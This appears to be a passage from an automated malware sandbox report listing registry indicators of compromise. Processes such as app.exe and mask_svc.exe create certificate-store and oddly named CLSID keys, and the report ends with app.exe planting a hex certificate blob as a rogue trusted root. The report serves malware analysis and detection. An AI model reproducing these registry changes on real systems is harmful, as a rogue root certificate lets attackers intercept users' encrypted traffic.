\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-111 = "Eastern Daylight Time" mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates DrvInst.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2492 = "Aus Central W. Standard Time" app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2772 = "Omsk Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-41 = "E. South America Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-791 = "SA Western Daylight Time" mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2791 = "Novosibirsk Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-432 = "Iran Standard Time" mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-32 = "Mid-Atlantic Standard Time" mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs app.exe -
Modifies registry class 64 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\MigrationTime = 6c3a3b6c55add601 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\LastCleanup = 6d87242d7f29d701 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Content\CacheLimit = "256000" MicrosoftEdgeCP.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{X6S7Y5Y3-WINZ-VP5O-6V75-6M59ZP1Y8621} rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 59bb90e47f29d701 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Zoom MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Disallowed MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DomainSuggestion\FileNames MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage\m.stripe.network MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VendorId = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DXFeatureLevel = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\EnablementState = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\acapps.online\NumberOfSubdoma = "1" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DeviceId = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\funded-account.com\NumberOfSu = "1" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DomainSuggestion\NextUpdateDate = "324349997" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath cmd.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DomStorageState MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\stripe.network MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\Active = "1" cmd.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\OneTimeCleanup = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath\dummySetting = "1" cmd.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\DynamicCodePolicy = 05000000 MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage\volume.com MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\SubSysId = "0" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000 MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DeviceId = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\volume.com\NumberOfSubdomains = "0" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\volume.com\Total = "361" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\ACGPolicyState = "8" MicrosoftEdgeCP.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{M7E6Z6L3-BALZ-MI5F-5K37-0M55YM1D3151} svchost.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = f5adf9eb8029d701 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings guihuali-game.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\volume.com\Total = "232" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CachePrefix MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta MicrosoftEdge.exe -
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\5E2169F36E05D5652FF097A43315EECA06FC5927\Blob = 0f0000000100000020000000745513e7b62b77e29e06ab358fb0f8f328f4aa6d13f09bdfa11a946d0cef02d20300000001000000140000005e2169f36e05d5652ff097a43315eeca06fc59272000000001000000350400003082043130820319a0030201020208246fe7e5239f00ab300d06092a864886f70d01010b05003067310b30090603550406130252553113301106035504070c0a53746164747265636874310e300c060355040a0c0554756e65723121301f06092a864886f70d010901161261646d696e4065616d617269616e2e636f6d3110300e06035504030c0765587472656d65301e170d3231303131343030303030305a170d3236303131343030303030305a3067310b30090603550406130252553113301106035504070c0a53746164747265636874310e300c060355040a0c0554756e65723121301f06092a864886f70d010901161261646d696e4065616d617269616e2e636f6d3110300e06035504030c0765587472656d6530820122300d06092a864886f70d01010105000382010f003082010a0282010100d1a9b26fb967ceeaf721405b88d92128d52c164c8d30c5502ffb7096304ae932c4f392cabadf2fb93121587a81da39f96f903bb71992e3432e8cec73e8ae262c029bf31f8309cfb5bd156a10910fcf52d3719fb00c35c2f6f2b9ea57c3e4c9e03a504081638214abbfaf88b0f2cb4c3d917c36178017ead5fee5ba28f6ed1b5c949924cdd1d91ea25e77d2293b18a0ff95d3ea1a37a6caa57a1b441deda7adfb1d4779e43ce7c6eb8ca670a3bbac3cddea948656929c86b01af54efc4fd48637d8d20b046589fadf780babe9a9638cd1f47bd42a0acd379c9cdd512487ea1c21d51598ea090acb5da4d09eb01eff0c99bba888a24a049690a8838cff86fe9e7d0203010001a381e03081dd3081980603551d2304819030818d80141b6be17c5727085080af0cd9e4522109e6704d75a16ba4693067310b30090603550406130252553113301106035504070c0a53746164747265636874310e300c060355040a0c0554756e65723121301f06092a864886f70d010901161261646d696e4065616d617269616e2e636f6d3110300e06035504030c0765587472656d658208246fe7e5239f00ab301d0603551d0e041604141b6be17c5727085080af0cd9e4522109e6704d75300c0603551d130101ff0402300030130603551d25040c300a06082b06010505070303300d06092a864886f70d01010b050003820101001ebd2ee6d64d3898015e825e1e53ee841938a5eb5162904448f2f07af5095fcd7f0f87ebd15f66f81dad1a72f924e05a7178909fd64ae08f1ae4e544a76cb367701525561bb27e4047fbec5382106aa626b3b49e4444b5dea2150263413fe76ac7425bc6aac52d523d713b3b4c43b0113088ced94c1bd245879ce05241255c0ff84ebf0f78fd41ff95c47cef4bf7b203f92a15c709c4a446a8ab19caa8f62381227ee62baf02539a087f93b6851d4291005e739e7370b887501506519838bc2f86c7c409ebb5901cb34b1f6a92eace94450ed94cddb077e34074234059aed1871300ae58f72320f0770d2ad6de8a1b5442fe9bbcb8d108fc5b5389dc14865dd8 app.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\5E2169F36E05D5652FF097A43315EECA06FC5927\Blob = 1400000001000000140000001b6be17c5727085080af0cd9e4522109e6704d750300000001000000140000005e2169f36e05d5652ff097a43315eeca06fc59270f0000000100000020000000745513e7b62b77e29e06ab358fb0f8f328f4aa6d13f09bdfa11a946d0cef02d22000000001000000350400003082043130820319a0030201020208246fe7e5239f00ab300d06092a864886f70d01010b05003067310b30090603550406130252553113301106035504070c0a53746164747265636874310e300c060355040a0c0554756e65723121301f06092a864886f70d010901161261646d696e4065616d617269616e2e636f6d3110300e06035504030c0765587472656d65301e170d3231303131343030303030305a170d3236303131343030303030305a3067310b30090603550406130252553113301106035504070c0a53746164747265636874310e300c060355040a0c0554756e65723121301f06092a864886f70d010901161261646d696e4065616d617269616e2e636f6d3110300e06035504030c0765587472656d6530820122300d06092a864886f70d01010105000382010f003082010a0282010100d1a9b26fb967ceeaf721405b88d92128d52c164c8d30c5502ffb7096304ae932c4f392cabadf2fb93121587a81da39f96f903bb71992e3432e8cec73e8ae262c029bf31f8309cfb5bd156a10910fcf52d3719fb00c35c2f6f2b9ea57c3e4c9e03a504081638214abbfaf88b0f2cb4c3d917c36178017ead5fee5ba28f6ed1b5c949924cdd1d91ea25e77d2293b18a0ff95d3ea1a37a6caa57a1b441deda7adfb1d4779e43ce7c6eb8ca670a3bbac3cddea948656929c86b01af54efc4fd48637d8d20b046589fadf780babe9a9638cd1f47bd42a0acd379c9cdd512487ea1c21d51598ea090acb5da4d09eb01eff0c99bba888a24a049690a8838cff86fe9e7d0203010001a381e03081dd3081980603551d2304819030818d80141b6be17c5727085080af0cd9e4522109e6704d75a16ba4693067310b30090603550406130252553113301106035504070c0a53746164747265636874310e300c060355040a0c0554756e65723121301f06092a864886f70d010901161261646d696e4065616d617269616e2e636f6d3110300e06035504030c0765587472656d658208246fe7e5239f00ab301d0603551d0e041604141b6be17c5727085080af0cd9e4522109e6704d75300c0603551d130101ff0402300030130603551d25040c300a06082b06010505070303300d06092a864886f70d01010b050003820101001ebd2ee6d64d3898015e825e1e53ee841938a5eb5162904448f2f07af5095fcd7f0f87ebd15f66f81dad1a72f924e05a7178909fd64ae08f1ae4e544a76cb367701525561bb27e4047fbec5382106aa626b3b49e4444b5dea2150263413fe76ac7425bc6aac52d523d713b3b4c43b0113088ced94c1bd245879ce05241255c0ff84ebf0f78fd41ff95c47cef4bf7b203f92a15c709c4a446a8ab19caa8f62381227ee62baf02539a087f93b6851d4291005e739e7370b887501506519838bc2f86c7c409ebb5901cb34b1f6a92eace94450ed94cddb077e34074234059aed1871300ae58f72320f0770d2ad6de8a1b5442fe9bbcb8d108fc5b5389dc14865dd8 app.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c